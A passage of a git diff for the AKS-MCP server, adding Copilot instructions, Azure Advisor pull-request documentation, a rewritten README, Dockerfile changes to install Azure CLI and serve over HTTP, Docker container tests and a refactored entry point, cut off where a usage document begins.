diff --git a/.github/copilot-instructions.md b/.github/copilot-instructions.md new file mode 100644 index 0000000..c2a1349 --- /dev/null +++ b/.github/copilot-instructions.md @@ -0,0 +1,114 @@ +# Copilot Instructions + +This file provides guidance to Github Copilot when working with code in this repository. + +## Project Overview + +AKS-MCP is a Model Context Protocol (MCP) server that enables AI assistants to interact with Azure Kubernetes Service (AKS) clusters. It serves as a bridge between AI tools and AKS, translating natural language requests into AKS operations. + +## Architecture + +### High-Level Structure +- **Entry Point**: `cmd/aks-mcp/main.go` - Main application entry point +- **Core Server**: `internal/server/server.go` - MCP server implementation with tool registration +- **Configuration**: `internal/config/` - Command line parsing and configuration management +- **Azure Integration**: `internal/azure/` - Azure SDK clients with caching layer +- **Resource Handlers**: `internal/azure/resourcehandlers/` - Handlers for Azure resource operations (VNet, NSG, Route Tables, Subnets) +- **Security**: `internal/security/` - Access level validation and security controls +- **Tools**: `internal/tools/` - MCP tool adapters and interfaces + +### Key Components +- **Access Levels**: Three security levels (readonly, readwrite, admin) control available operations +- **Resource Caching**: Azure resources are cached internally for performance +- **Transport Support**: Supports stdio, SSE, and streamable-http transports +- **Tool Registration**: Tools are dynamically registered based on access level + +## Development Commands + +### Build +```bash +go build -o aks-mcp ./cmd/aks-mcp +``` + +### Test +```bash +go test -v ./... # Run all tests +go test -race -coverprofile=coverage.txt -covermode=atomic ./... # Run tests with coverage +go test -v ./internal/azure/... # Run specific package tests +``` + +### Lint +```bash +golangci-lint run # Run linter +golangci-lint run --timeout=5m # Run with extended timeout +``` + +### Docker +```bash +docker build -t aks-mcp:test . # Build Docker image +docker run --rm aks-mcp:test --help # Test Docker image +``` + +## Configuration + +### Command Line Arguments +- `--transport`: Transport mechanism (stdio, sse, streamable-http) +- `--host`: Host for server (default: 127.0.0.1) +- `--port`: Port for server (default: 8000) +- `--timeout`: Command execution timeout in seconds (default: 600) +- `--access-level`: Access level (readonly, readwrite, admin) + +### Environment Variables +Standard Azure authentication variables are supported: +- `AZURE_TENANT_ID` +- `AZURE_CLIENT_ID` +- `AZURE_CLIENT_SECRET` +- `AZURE_SUBSCRIPTION_ID` + +## Testing Strategy + +The codebase includes comprehensive unit tests: +- **Azure Client Tests**: `internal/azure/client_test.go` +- **Resource Handler Tests**: `internal/azure/resourcehandlers/handlers_test.go` +- **Security Validation Tests**: `internal/security/validator_test.go` +- **Cache Tests**: `internal/azure/cache_test.go` +- **Helper Tests**: `internal/azure/resourcehelpers/helpers_test.go` + +## MCP Tool Development + +### Adding New Tools +1. Create handler function in appropriate `internal/azure/resourcehandlers/` file +2. Register tool in `internal/azure/resourcehandlers/registry.go` +3. Add tool registration in `internal/server/server.go` +4. Implement security validation based on access level + +### Tool Handler Pattern +All tools follow the `ResourceHandler` interface: +```go +type ResourceHandler interface { + Handle(params map[string]interface{}, cfg *config.ConfigData) (string, error) +} +``` + +## Security Considerations + +- Access levels control available operations +- Input validation is performed through `internal/security/validator.go` +- Azure credentials are managed through Azure SDK default authentication +- All Azure operations respect the configured access level + +## Dependencies + +- **Azure SDK**: `github.com/Azure/azure-sdk-for-go/sdk` +- **MCP Go**: `github.com/mark3labs/mcp-go` +- **Command Line**: `github.com/spf13/pflag` +- **Shell Parsing**: `github.com/google/shlex` + +## CI/CD + +The project uses GitHub Actions for: +- **Linting**: golangci-lint across multiple OS platforms +- **Testing**: Unit tests with coverage reporting +- **Security**: Gosec security scanning +- **Building**: Go binary and Docker image builds +- **Publishing**: SLSA3 compliant releases \ No newline at end of file diff --git a/.github/workflows/go-ossf-slsa3-publish.yml b/.github/workflows/go-ossf-slsa3-publish.yml index fe41550..ab01d35 100644 --- a/.github/workflows/go-ossf-slsa3-publish.yml +++ b/.github/workflows/go-ossf-slsa3-publish.yml @@ -82,7 +82,7 @@ jobs: uses: actions/checkout@85e6279cec87321a52edac9c87bce653a07cf6c2 # v2.3.4 - name: Set up Docker Buildx - uses: docker/setup-buildx-action@b5ca514318bd6ebac0fb2aedd5d36ec1b5c232a2 # v3.10.0 + uses: docker/setup-buildx-action@e468171a9de216ec08956ac3ada2f0791b6bd435 # v3.11.1 - name: Authenticate Docker uses: docker/login-action@74a5d142397b4f367a81961eba4e8cd7edddf772 # v3.4.0 @@ -98,7 +98,7 @@ jobs: images: ${{ env.IMAGE_REGISTRY }}/${{ env.IMAGE_NAME }} - name: Build and push Docker image - uses: docker/build-push-action@1dc73863535b631f98b2378be8619f83b136f4a0 # v6.17.0 + uses: docker/build-push-action@263435318d21b8e681c14492fe198d362a7d2c83 # v6.18.0 id: build with: push: true diff --git a/.gitignore b/.gitignore index a4fe18b..e3e898c 100644 --- a/.gitignore +++ b/.gitignore @@ -148,6 +148,7 @@ _TeamCity* coverage*.json coverage*.xml coverage*.info +coverage.txt # Visual Studio code coverage results *.coverage @@ -398,3 +399,13 @@ FodyWeavers.xsd # JetBrains Rider *.sln.iml + +# Go binary +aks-mcp + +# Custom ignores for AKS-MCP +*.exe +PULL_REQUEST_TEMPLATE.md + +# PowerShell scripts for development/debugging +*.ps1 diff --git a/CREATE_PR_INSTRUCTIONS.md b/CREATE_PR_INSTRUCTIONS.md new file mode 100644 index 0000000..55993fb --- /dev/null +++ b/CREATE_PR_INSTRUCTIONS.md @@ -0,0 +1,80 @@ +# GitHub Pull Request Instructions + +## ๐Ÿ“‹ **Pull Request Details** + +**Title:** `feat: Add Azure Advisor recommendation tool for AKS clusters with logging and testing` + +**Base Branch:** `main` +**Compare Branch:** `feature/azure-diagnostics-prompts` + +## ๐Ÿš€ **How to Create the Pull Request** + +### **Option 1: GitHub Web Interface** +1. Go to: https://github.com/Azure/aks-mcp +2. Click "Pull requests" tab +3. Click "New pull request" +4. Set base: `main` <- compare: `feature/azure-diagnostics-prompts` +5. Copy the title above +6. Copy the description from `PR_DESCRIPTION.md` (created above) +7. Add labels: `enhancement`, `feature`, `aks`, `advisor` +8. Click "Create pull request" + +### **Option 2: GitHub CLI (if available)** +```bash +# Install GitHub CLI first if not available +gh pr create \ + --title "feat: Add Azure Advisor recommendation tool for AKS clusters with logging and testing" \ + --body-file PR_DESCRIPTION.md \ + --base main \ + --head feature/azure-diagnostics-prompts \ + --label enhancement,feature,aks,advisor +``` + +### **Option 3: Direct GitHub URL** +Navigate to: +``` +https://github.com/Azure/aks-mcp/compare/main...feature/azure-diagnostics-prompts +``` + +## ๐Ÿ“„ **Files to Reference** +- **Detailed Description:** `PULL_REQUEST.md` (comprehensive documentation) +- **GitHub PR Description:** `PR_DESCRIPTION.md` (concise version for GitHub) + +## ๐Ÿท๏ธ **Suggested Labels** +- `enhancement` +- `feature` +- `aks` +- `advisor` +- `logging` +- `testing` + +## ๐Ÿ‘ฅ **Suggested Reviewers** +- Team leads familiar with AKS +- Azure CLI integration experts +- MCP server maintainers +- Security/access control reviewers + +## โœ… **Pre-submission Checklist** +- [x] All tests pass (10/10 advisor tests) +- [x] Project builds successfully +- [x] Code follows project conventions +- [x] Comprehensive logging implemented +- [x] Security validation integrated +- [x] Documentation complete +- [x] VS Code MCP extension compatibility verified +- [x] ResourceID field properly implemented +- [x] Error handling comprehensive + +## ๐Ÿ“Š **Commit Summary** +``` +9370274 fix: Update Azure Advisor recommendation tool with logging and resourceID field +0e47372 fix: resolve MCP tool parameter validation error for Azure Advisor +06c90db docs: add Azure Advisor tool usage documentation +11c71fc feat: implement Azure Advisor recommendations for AKS clusters +439e603 chore: remove pull request template and exe files from tracking +``` + +**Total commits:** 5 +**Files changed:** 6 files (+247 insertions, -104 deletions) + +The pull request is ready to be created! ๐Ÿš€ diff --git a/Dockerfile b/Dockerfile index 3f182a8..15b588d 100644 --- a/Dockerfile +++ b/Dockerfile @@ -20,10 +20,14 @@ COPY . . RUN CGO_ENABLED=0 GOOS=linux go build -o aks-mcp ./cmd/aks-mcp # Runtime stage -FROM alpine:3.21 +FROM alpine:3.22 -# Install required packages for kubectl and helm -RUN apk add --no-cache curl bash openssl ca-certificates git +# Install required packages for kubectl and helm, plus build tools for Azure CLI +RUN apk add --no-cache curl bash openssl ca-certificates git python3 py3-pip \ + gcc python3-dev musl-dev linux-headers + +# Install Azure CLI +RUN pip3 install --break-system-packages azure-cli # Create the mcp user and group RUN addgroup -S mcp && \ @@ -37,6 +41,9 @@ COPY --from=builder /app/aks-mcp /usr/local/bin/aks-mcp # Set working directory WORKDIR /home/mcp +# Expose the default port for sse/streamable-http transports +EXPOSE 8000 + # Switch to non-root user USER mcp @@ -45,4 +52,4 @@ ENV HOME=/home/mcp # Command to run ENTRYPOINT ["/usr/local/bin/aks-mcp"] -CMD ["--transport", "stdio"] +CMD ["--transport", "streamable-http", "--host", "0.0.0.0"] diff --git a/PR_DESCRIPTION.md b/PR_DESCRIPTION.md new file mode 100644 index 0000000..b3f082c --- /dev/null +++ b/PR_DESCRIPTION.md @@ -0,0 +1,57 @@ +## ๐ŸŽฏ Summary +Implements Azure Advisor recommendation tool for AKS clusters with comprehensive logging, testing, and VS Code MCP extension integration. + +## ๐Ÿš€ Key Features +- โœ… **Azure Advisor Integration**: Fetch real-time AKS recommendations via Azure CLI +- โœ… **AKS-Specific Filtering**: Auto-filter recommendations for AKS resources only +- โœ… **Multiple Operations**: Support for `list`, `details`, and `report` operations +- โœ… **ResourceID Field**: Returns proper Azure resource IDs instead of generic values +- โœ… **Comprehensive Logging**: Detailed `[ADVISOR]` prefixed logs for debugging +- โœ… **Complete Test Coverage**: 10 test cases covering all functionality +- โœ… **Security Integration**: Works with readonly/readwrite/admin access levels + +## ๐Ÿ“‹ Changes Made + +### New Files +- `internal/azure/advisor/aks_recommendations.go` - Main advisor logic +- `internal/azure/advisor/types.go` - Data structures +- `internal/azure/advisor/advisor_test.go` - Test suite +- `docs/logging.md` - Logging documentation + +### Modified Files +- `internal/security/validator.go` - Added advisor tool validation +- `.gitignore` - Added `*.ps1` for development scripts + +## ๐Ÿงช Testing +```bash +=== RUN TestFilterAKSRecommendationsFromCLI +--- PASS: TestFilterAKSRecommendationsFromCLI (0.00s) +# ... 10/10 tests pass +PASS +ok github.com/Azure/aks-mcp/internal/azure/advisor +``` + +## ๐Ÿ”ง Usage Example +```json +{ + "operation": "list", + "subscription_id": "your-subscription-id", + "resource_group": "your-resource-group", + "severity": "High" +} +``` + +## โœ… Verification +- โœ… All tests pass +- โœ… Project builds successfully +- โœ… Works with VS Code MCP extension +- โœ… Proper logging and monitoring +- โœ… Security validation integrated + +## ๐ŸŽฏ Benefits +- Enables AI assistants to provide AKS optimization recommendations +- Proactive monitoring and cost optimization insights +- Security recommendations for AKS resources +- Actionable insights for cluster management + +Ready for review! ๐Ÿš€ diff --git a/PULL_REQUEST.md b/PULL_REQUEST.md new file mode 100644 index 0000000..5d5df16 --- /dev/null +++ b/PULL_REQUEST.md @@ -0,0 +1,179 @@ +# Azure Advisor Recommendations Tool for AKS Clusters + +## ๐ŸŽฏ **Overview** +This PR implements a comprehensive Azure Advisor recommendation tool specifically designed for AKS (Azure Kubernetes Service) clusters. The tool integrates with the AKS-MCP server to provide AI assistants with the ability to retrieve, analyze, and report on Azure Advisor recommendations for AKS resources. + +## ๐Ÿš€ **Features Implemented** + +### **Core Functionality** +- โœ… **Azure Advisor Integration**: Direct integration with Azure CLI to fetch real-time recommendations +- โœ… **AKS-Specific Filtering**: Automatically filters recommendations to only include AKS-related resources +- โœ… **Multiple Operations**: Support for `list`, `details`, and `report` operations +- โœ… **Comprehensive Logging**: Detailed logging with `[ADVISOR]` prefix for debugging and monitoring +- โœ… **Security Integration**: Works with readonly, readwrite, and admin access levels + +### **Data Structure & API** +- โœ… **ResourceID Field**: Returns `resourceID` (Azure resource ID) instead of generic impacted value +- โœ… **Structured Response**: Well-defined JSON response format with AKS-specific metadata +- โœ… **Filtering Support**: Filter by severity, resource group, category, and cluster names +- โœ… **Report Generation**: Comprehensive reports with summaries, action items, and cluster breakdowns + +### **Quality & Testing** +- โœ… **Complete Test Coverage**: 10 comprehensive test cases covering all functionality +- โœ… **Error Handling**: Robust error handling with informative error messages +- โœ… **Input Validation**: Proper parameter validation and type checking +- โœ… **Documentation**: Comprehensive usage documentation and examples + +## ๐Ÿ“‹ **Changes Made** + +### **New Files Added** +``` +internal/azure/advisor/ +โ”œโ”€โ”€ aks_recommendations.go # Main advisor logic with comprehensive logging +โ”œโ”€โ”€ types.go # Data structures and type definitions +โ””โ”€โ”€ advisor_test.go # Complete test suite (10 test cases) + +docs/ +โ””โ”€โ”€ logging.md # Logging setup and monitoring documentation +``` + +### **Files Modified** +``` +internal/security/validator.go # Added advisor tool to security validation +.gitignore # Added *.ps1 to ignore development scripts +``` + +### **Key Technical Improvements** +1. **Data Structure Fix**: Updated `CLIRecommendation` struct to match actual Azure CLI output (flattened fields) +2. **ResourceID Integration**: Changed from `ImpactedResource` to `ResourceID` field for better clarity +3. **Comprehensive Logging**: Added detailed logging throughout the tool for debugging and monitoring +4. **Test Coverage**: Fixed all test cases to work with the new data structure and added ResourceID validation + +## ๐Ÿ”ง **Usage Examples** + +### **List AKS Recommendations** +```json +{ + "operation": "list", + "subscription_id": "your-subscription-id", + "resource_group": "your-resource-group", + "severity": "High" +} +``` + +### **Get Recommendation Details** +```json +{ + "operation": "details", + "recommendation_id": "/subscriptions/.../recommendations/rec-id" +} +``` + +### **Generate Comprehensive Report** +```json +{ + "operation": "report", + "subscription_id": "your-subscription-id", + "format": "detailed" +} +``` + +## ๐Ÿ“Š **Response Format** +```json +{ + "id": "/subscriptions/.../recommendations/rec-id", + "category": "Cost", + "impact": "High", + "cluster_name": "my-aks-cluster", + "resource_group": "my-resource-group", + "resource_id": "/subscriptions/.../managedClusters/my-aks-cluster", + "description": "Detailed recommendation with solution", + "severity": "High", + "last_updated": "2024-01-15T10:30:00Z", + "status": "Active", + "aks_specific": { + "configuration_area": "compute" + } +} +``` + +## ๐Ÿงช **Testing** + +### **Test Coverage** +- โœ… `TestFilterAKSRecommendationsFromCLI` - AKS-specific filtering +- โœ… `TestIsAKSRelatedCLI` - Resource ID validation +- โœ… `TestExtractAKSClusterNameFromCLI` - Cluster name extraction +- โœ… `TestExtractResourceGroupFromResourceID` - Resource group parsing +- โœ… `TestConvertToAKSRecommendationSummary` - Data transformation & ResourceID validation +- โœ… `TestFilterBySeverity` - Severity-based filtering +- โœ… `TestGenerateAKSAdvisorReport` - Report generation +- โœ… `TestMapCategoryToConfigArea` - Category mapping +- โœ… `TestHandleAdvisorRecommendationInvalidOperation` - Error handling +- โœ… `TestHandleAdvisorRecommendationMissingOperation` - Parameter validation + +### **Test Results** +```bash +=== RUN TestFilterAKSRecommendationsFromCLI +--- PASS: TestFilterAKSRecommendationsFromCLI (0.00s) +=== RUN TestIsAKSRelatedCLI +--- PASS: TestIsAKSRelatedCLI (0.00s) +# ... all 10 tests pass +PASS +ok github.com/Azure/aks-mcp/internal/azure/advisor +``` + +## ๐Ÿ”’ **Security & Access Control** + +- **Readonly Mode**: โœ… Advisor tool works in readonly mode (listing recommendations is read-only) +- **Input Validation**: โœ… All parameters are validated and sanitized +- **Access Control**: โœ… Integrated with existing security validation framework +- **Command Injection Protection**: โœ… Uses validated Azure CLI executor + +## ๐Ÿ“ **Logging & Monitoring** + +The tool includes comprehensive logging with the `[ADVISOR]` prefix: +``` +[ADVISOR] Handling operation: list +[ADVISOR] Listing recommendations for subscription: xxx, resource_group: yyy +[ADVISOR] Executing command: az advisor recommendation list --subscription xxx +[ADVISOR] Found 15 total recommendations +[ADVISOR] Found 3 AKS-related recommendations +[ADVISOR] After severity filter: 1 recommendations +[ADVISOR] Returning 1 recommendation summaries +``` + +## ๐Ÿ”„ **Integration Points** + +1. **MCP Server**: Registered as `az_advisor_recommendation` tool +2. **VS Code Extension**: Compatible with VS Code MCP extension +3. **Azure CLI**: Uses existing Azure CLI integration for authentication +4. **Security Layer**: Integrated with access level validation + +## โœ… **Verification Steps** + +1. **Build Success**: โœ… Project builds without errors +2. **Test Suite**: โœ… All 10 advisor tests pass +3. **Integration Test**: โœ… Tool works with VS Code MCP extension +4. **Security Validation**: โœ… Works in readonly mode as expected +5. **Logging Verification**: โœ… Logs are written to debug file and can be monitored + +## ๐ŸŽฏ **Benefits** + +1. **Enhanced AI Assistant Capabilities**: AI assistants can now provide AKS optimization recommendations +2. **Proactive Monitoring**: Enables proactive identification of AKS issues and optimizations +3. **Cost Optimization**: Helps identify cost-saving opportunities in AKS clusters +4. **Security Improvements**: Surfaces security-related recommendations for AKS resources +5. **Operational Excellence**: Provides actionable insights for AKS cluster management + +## ๐Ÿ”ฎ **Future Enhancements** + +- Integration with Azure Resource Graph for advanced querying +- Support for custom recommendation filtering rules +- Integration with Azure Policy for automated remediation +- Enhanced reporting with trend analysis + +--- + +**Ready for Review** โœ… + +This PR is ready for review and testing. All tests pass, documentation is complete, and the tool has been verified to work with the VS Code MCP extension in a real environment. diff --git a/README.md b/README.md index 5cd7cec..56f61cc 100644 --- a/README.md +++ b/README.md @@ -1,14 +1,111 @@ -# Project +# AKS-MCP -> This repo has been populated by an initial template to help get you started. Please -> make sure to update the content to build a great experience for community-building. +The AKS-MCP is a Model Context Protocol (MCP) server that enables AI assistants to interact with Azure Kubernetes Service (AKS) clusters. It serves as a bridge between AI tools (like GitHub Copilot, Claude, and other MCP-compatible AI assistants) and AKS, translating natural language requests into AKS operations and returning the results in a format the AI tools can understand. -As the maintainer of this project, please make a few updates: +It allows AI tools to: -- Improving this README.MD file to provide a great experience -- Updating SUPPORT.MD with content about this project's support experience -- Understanding the security reporting process in SECURITY.MD -- Remove this section from the README +- Operate (CRUD) AKS resources +- Retrieve details related to AKS clusters (VNets, Subnets, NSGs, Route Tables, etc.) + +## How it works + +AKS-MCP connects to Azure using the Azure SDK and provides a set of tools that AI assistants can use to interact with AKS resources. It leverages the Model Context Protocol (MCP) to facilitate this communication, enabling AI tools to make API calls to Azure and interpret the responses. + +## How to install + +### Local + +
+Install prerequisites + +1. Set up [Azure CLI](https://docs.microsoft.com/en-us/cli/azure/install-azure-cli) and authenticate +```bash +az login +``` +
+ +
+ +Configure your MCP servers in supported AI clients like [GitHub Copilot](https://github.com/features/copilot), [Claude](https://claude.ai/), or other MCP-compatible clients: + +```json +{ + "mcpServers": { + "aks": { + "command": "", + "args": [ + "--transport", "stdio" + ] + } + } +} +``` + +### GitHub Copilot Configuration in VS Code + +For GitHub Copilot in VS Code, configure the MCP server in your `.vscode/mcp.json` file: + +```json +{ + "servers": { + "aks-mcp-server": { + "type": "stdio", + "command": "", + "args": [ + "--transport", "stdio" + ] + } + } +} +``` + +### Options + +Command line arguments: + +```sh +Usage of ./aks-mcp: + --access-level string Access level (readonly, readwrite, admin) (default "readonly") + --host string Host to listen for the server (only used with transport sse or streamable-http) (default "127.0.0.1") + --port int Port to listen for the server (only used with transport sse or streamable-http) (default 8000) + --timeout int Timeout for command execution in seconds, default is 600s (default 600) + --transport string Transport mechanism to use (stdio, sse or streamable-http) (default "stdio") +``` + +**Environment variables:** +- Standard Azure authentication environment variables are supported (`AZURE_TENANT_ID`, `AZURE_CLIENT_ID`, `AZURE_CLIENT_SECRET`, `AZURE_SUBSCRIPTION_ID`) + +## Usage + +Ask any questions about your AKS clusters in your AI client, for example: + +``` +List all my AKS clusters in my subscription xxx. + +What is the network configuration of my AKS cluster? + +Show me the network security groups associated with my cluster. +``` + +## Available Tools + +The AKS-MCP server provides the following tools for interacting with AKS clusters: + +
+Cluster Tools + +- `get_cluster_info`: Get detailed information about an AKS cluster +- `list_aks_clusters`: List all AKS clusters in a subscription and optional resource group +
+ +
+Network Tools + +- `get_vnet_info`: Get information about the VNet used by the AKS cluster +- `get_subnet_info`: Get information about the subnets used by the AKS cluster +- `get_route_table_info`: Get information about the route tables used by the AKS cluster +- `get_nsg_info`: Get information about the network security groups used by the AKS cluster +
## Contributing @@ -26,8 +123,8 @@ contact [opencode@microsoft.com](mailto:opencode@microsoft.com) with any additio ## Trademarks -This project may contain trademarks or logos for projects, products, or services. Authorized use of Microsoft -trademarks or logos is subject to and must follow +This project may contain trademarks or logos for projects, products, or services. Authorized use of Microsoft +trademarks or logos is subject to and must follow [Microsoft's Trademark & Brand Guidelines](https://www.microsoft.com/en-us/legal/intellectualproperty/trademarks/usage/general). Use of Microsoft trademarks or logos in modified versions of this project must not cause confusion or imply Microsoft sponsorship. Any use of third-party trademarks or logos are subject to those third-party's policies. diff --git a/cmd/aks-mcp/container_test.go b/cmd/aks-mcp/container_test.go new file mode 100644 index 0000000..d9dd83d --- /dev/null +++ b/cmd/aks-mcp/container_test.go @@ -0,0 +1,244 @@ +package main + +import ( + "context" + "io" + "net/http" + "os" + "os/exec" + "strings" + "testing" + "time" +) + +// TestContainerBuild validates that the Docker image builds successfully +// This test requires Docker to be available and working +func TestContainerBuild(t *testing.T) { + // Skip if running in CI or if Docker not available + if os.Getenv("CI") == "true" { + t.Skip("Skipping Docker build test in CI environment") + } + + // Check if docker is available + if _, err := exec.LookPath("docker"); err != nil { + t.Skip("Docker not available, skipping container build test") + } + + // Build the Docker image from repository root + cmd := exec.Command("docker", "build", "-t", "aks-mcp:test", "../..") + output, err := cmd.CombinedOutput() + if err != nil { + t.Fatalf("Failed to build Docker image: %v\nOutput: %s", err, string(output)) + } + t.Logf("Docker image built successfully") +} + +// TestContainerAzureCLI validates Azure CLI is available inside the container +// This test assumes the Docker image 'aks-mcp:test' exists +func TestContainerAzureCLI(t *testing.T) { + // Skip if running in CI environment unless image is pre-built + if !isDockerImageAvailable("aks-mcp:test") { + t.Skip("Docker image 'aks-mcp:test' not available, skipping Azure CLI test") + } + + // Check Azure CLI is installed in container + cmd := exec.Command("docker", "run", "--rm", "--entrypoint", "sh", "aks-mcp:test", "-c", "which az && az --version") + output, err := cmd.CombinedOutput() + if err != nil { + t.Fatalf("Azure CLI not available in container: %v\nOutput: %s", err, string(output)) + } + + outputStr := string(output) + if !strings.Contains(outputStr, "/usr/local/bin/az") && !strings.Contains(outputStr, "/usr/bin/az") { + t.Fatalf("Azure CLI not found in expected location. Output: %s", outputStr) + } + + if !strings.Contains(outputStr, "azure-cli") { + t.Fatalf("Azure CLI version not displayed properly. Output: %s", outputStr) + } + + t.Logf("Azure CLI successfully installed in container") +} + +// TestContainerNetworkTransport validates the container starts with correct transport and network configuration +func TestContainerNetworkTransport(t *testing.T) { + // Skip if Docker image not available + if !isDockerImageAvailable("aks-mcp:test") { + t.Skip("Docker image 'aks-mcp:test' not available, skipping network transport test") + } + + // Start container with default CMD (streamable-http transport) + ctx, cancel := context.WithTimeout(context.Background(), 30*time.Second) + defer cancel() + + // Start container in background + cmd := exec.CommandContext(ctx, "docker", "run", "--rm", "-p", "8000:8000", "aks-mcp:test") + + // Start the container + err := cmd.Start() + if err != nil { + t.Fatalf("Failed to start container: %v", err) + } + + // Ensure container is stopped when test completes + defer func() { + if cmd.Process != nil { + _ = cmd.Process.Kill() + } + }() + + // Give container time to start + time.Sleep(5 * time.Second) + + // Try to connect to the streamable-http endpoint + client := &http.Client{Timeout: 5 * time.Second} + resp, err := client.Get("http://localhost:8000") + if err != nil { + t.Fatalf("Could not connect to container service: %v", err) + } + defer func() { + if err := resp.Body.Close(); err != nil { + t.Logf("Error closing response body: %v", err) + } + }() + + // Read a small amount of response to verify service is responding + body, err := io.ReadAll(io.LimitReader(resp.Body, 1024)) + if err != nil { + t.Fatalf("Failed to read response: %v", err) + } + + t.Logf("Container service is accessible at localhost:8000, status: %d", resp.StatusCode) + t.Logf("Response preview: %s", string(body)[:min(len(body), 100)]) +} + +// TestContainerConfiguration validates container environment and configuration +func TestContainerConfiguration(t *testing.T) { + // Skip if Docker image not available + if !isDockerImageAvailable("aks-mcp:test") { + t.Skip("Docker image 'aks-mcp:test' not available, skipping configuration test") + } + + // Test container has correct user and working directory + cmd := exec.Command("docker", "run", "--rm", "--entrypoint", "sh", "aks-mcp:test", "-c", "whoami && pwd && echo $HOME") + output, err := cmd.CombinedOutput() + if err != nil { + t.Fatalf("Failed to check container configuration: %v\nOutput: %s", err, string(output)) + } + + outputStr := string(output) + lines := strings.Split(strings.TrimSpace(outputStr), "\n") + + if len(lines) < 3 { + t.Fatalf("Unexpected output format: %s", outputStr) + } + + user := strings.TrimSpace(lines[0]) + workDir := strings.TrimSpace(lines[1]) + homeDir := strings.TrimSpace(lines[2]) + + if user != "mcp" { + t.Errorf("Expected user 'mcp', got '%s'", user) + } + + if workDir != "/home/mcp" { + t.Errorf("Expected working directory '/home/mcp', got '%s'", workDir) + } + + if homeDir != "/home/mcp" { + t.Errorf("Expected HOME directory '/home/mcp', got '%s'", homeDir) + } + + t.Logf("Container configuration correct: user=%s, workdir=%s, home=%s", user, workDir, homeDir) +} + +// TestContainerHelp validates the application responds to help command +func TestContainerHelp(t *testing.T) { + // Skip if Docker image not available + if !isDockerImageAvailable("aks-mcp:test") { + t.Skip("Docker image 'aks-mcp:test' not available, skipping help test") + } + + cmd := exec.Command("docker", "run", "--rm", "aks-mcp:test", "--help") + output, err := cmd.CombinedOutput() + + // pflag returns exit code 2 for help requests, which is expected behavior + if err != nil { + if exitError, ok := err.(*exec.ExitError); ok { + if exitError.ExitCode() != 2 { + t.Fatalf("Help command failed with unexpected exit code %d: %v\nOutput: %s", exitError.ExitCode(), err, string(output)) + } + } else { + t.Fatalf("Help command failed: %v\nOutput: %s", err, string(output)) + } + } + + outputStr := string(output) + if !strings.Contains(outputStr, "transport") || !strings.Contains(outputStr, "host") { + t.Fatalf("Help output doesn't contain expected flags. Output: %s", outputStr) + } + + t.Logf("Container help command works correctly") +} + +// TestDockerfileConfiguration validates the Dockerfile configuration without building +func TestDockerfileConfiguration(t *testing.T) { + // Read and validate Dockerfile content + dockerfile, err := os.ReadFile("../../Dockerfile") + if err != nil { + t.Fatalf("Failed to read Dockerfile: %v", err) + } + + content := string(dockerfile) + + // Validate Azure CLI installation + if !strings.Contains(content, "pip3 install --break-system-packages azure-cli") { + t.Error("Dockerfile missing Azure CLI installation") + } + + // Validate required packages for Azure CLI + if !strings.Contains(content, "gcc python3-dev musl-dev linux-headers") { + t.Error("Dockerfile missing build dependencies for Azure CLI") + } + + // Validate transport configuration + if !strings.Contains(content, "streamable-http") { + t.Error("Dockerfile not using streamable-http transport") + } + + // Validate network binding + if !strings.Contains(content, "0.0.0.0") { + t.Error("Dockerfile not binding to all network interfaces") + } + + // Validate port exposure + if !strings.Contains(content, "EXPOSE 8000") { + t.Error("Dockerfile not exposing port 8000") + } + + // Validate user configuration + if !strings.Contains(content, "USER mcp") { + t.Error("Dockerfile not using non-root user") + } + + t.Logf("Dockerfile configuration validated successfully") +} + +// isDockerImageAvailable checks if a Docker image is available locally +func isDockerImageAvailable(imageName string) bool { + if _, err := exec.LookPath("docker"); err != nil { + return false + } + + cmd := exec.Command("docker", "image", "inspect", imageName) + err := cmd.Run() + return err == nil +} + +// min returns the smaller of two integers +func min(a, b int) int { + if a < b { + return a + } + return b +} diff --git a/cmd/aks-mcp/main.go b/cmd/aks-mcp/main.go index 41ab78a..74a381a 100644 --- a/cmd/aks-mcp/main.go +++ b/cmd/aks-mcp/main.go @@ -1,63 +1,36 @@ package main import ( + "fmt" "log" + "os" - "github.com/azure/aks-mcp/internal/azure" - "github.com/azure/aks-mcp/internal/config" - "github.com/azure/aks-mcp/internal/registry" - "github.com/azure/aks-mcp/internal/server" + "github.com/Azure/aks-mcp/internal/config" + "github.com/Azure/aks-mcp/internal/server" ) func main() { - // Parse command line arguments and validate configuration - // This will also parse and validate resource ID if provided - cfg := config.ParseFlagsAndValidate() - - // If we're here, the config is valid - if cfg.ResourceIDString == "" { - // If no resource ID provided, it's null and will be handled by the handlers - log.Printf("No AKS Resource ID provided, tools will require parameters") + // Create configuration instance and parse command line arguments + cfg := config.NewConfig() + cfg.ParseFlags() + + // Create validator and run validation checks + v := config.NewValidator(cfg) + if !v.Validate() { + fmt.Fprintln(os.Stderr, "Validation failed:") + v.PrintErrors() + os.Exit(1) } - // Initialize Azure client - client, err := azure.NewAzureClient() - if err != nil { - log.Fatalf("Failed to initialize Azure client: %v", err) + // Create and initialize the service + service := server.NewService(cfg) + if err := service.Initialize(); err != nil { + fmt.Fprintf(os.Stderr, "Initialization error: %v\n", err) + os.Exit(1) } - // Initialize cache - cache := azure.NewAzureCache() - - // Create Azure provider - azureProvider := azure.NewAzureResourceProvider(cfg.ParsedResourceID, client, cache) - - // Initialize tool registry with the config - toolRegistry := registry.NewToolRegistry(azureProvider, cfg) - - // Register all tools - toolRegistry.RegisterAllTools() - - // Create MCP server - s := server.NewAKSMCPServer(toolRegistry) - - // Start the server with the specified transport - switch cfg.Transport { - case "stdio": - log.Printf("Starting AKS MCP server with stdio transport") - if err := s.ServeStdio(); err != nil { - log.Fatalf("Server error: %v", err) - } - case "sse": - log.Printf("Starting AKS MCP server with SSE transport on %s", cfg.Address) - sseServer := s.ServeSSE(cfg.Address) - if err := sseServer.Start(cfg.Address); err != nil { - log.Fatalf("Server error: %v", err) - } - default: - log.Fatalf( - "Invalid transport type: %s. Must be 'stdio' or 'sse'", - cfg.Transport, - ) + // Run the service + if err := service.Run(); err != nil { + log.Fatalf("Service error: %v\n", err) } } diff --git a/docs/azure-advisor-usage.md b/docs/azure-advisor-usage.md new file mode 100644 index 0000000..3464fb3 --- /dev/null +++ b/docs/azure-advisor-usage.md @@ -0,0 +1,260 @@ +# Azure Advisor Tool for AKS-MCP - Usage Examples + +This document provides examples of how to use the newly implemented Azure Advisor tool (`az_advisor_recommendation`) in the 